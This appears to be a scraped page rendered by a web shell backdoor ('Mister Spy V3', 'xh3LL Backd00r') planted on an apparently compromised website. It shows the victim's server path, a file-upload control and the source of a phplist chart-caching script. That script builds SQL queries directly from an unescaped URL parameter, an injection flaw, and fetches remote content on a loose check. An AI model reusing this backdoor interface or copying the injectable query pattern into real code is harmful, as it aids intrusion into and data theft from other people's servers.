Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/phplist/lists/admin/
Upload File :
Current File : /home/caballoscriollos/public_html/phplist/lists/admin/gchart.php

<?php

## fetch a chart either from cache or remotely
## used for google charts, so verify that's the one being used

$url = $_GET['url'];
$url = str_replace('&amp;','&',$url);

if (strpos($url,'chart.apis.google.com/chart') === false) {
  print 'Error';
  exit;
}

## cleanup once a month
Sql_Query(sprintf('delete from %s where month(added) < month(now())',$GLOBALS['tables']['gchartcache']));

$cache = Sql_Fetch_Row_Query(sprintf('select content from %s where url = "%s"',$GLOBALS['tables']['gchartcache'],$url),1);

ob_end_clean();
ob_start();

if (empty($cache[0])) {
  $content = file_get_contents($url);
  Sql_Query(sprintf('insert into %s (url,content,added) values("%s","%s",now())',$GLOBALS['tables']['gchartcache'],$url,base64_encode($content)),1);
} else {
  $content = base64_decode($cache[0]);
}
header('Content-type: image/png');
print $content;

exit;

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat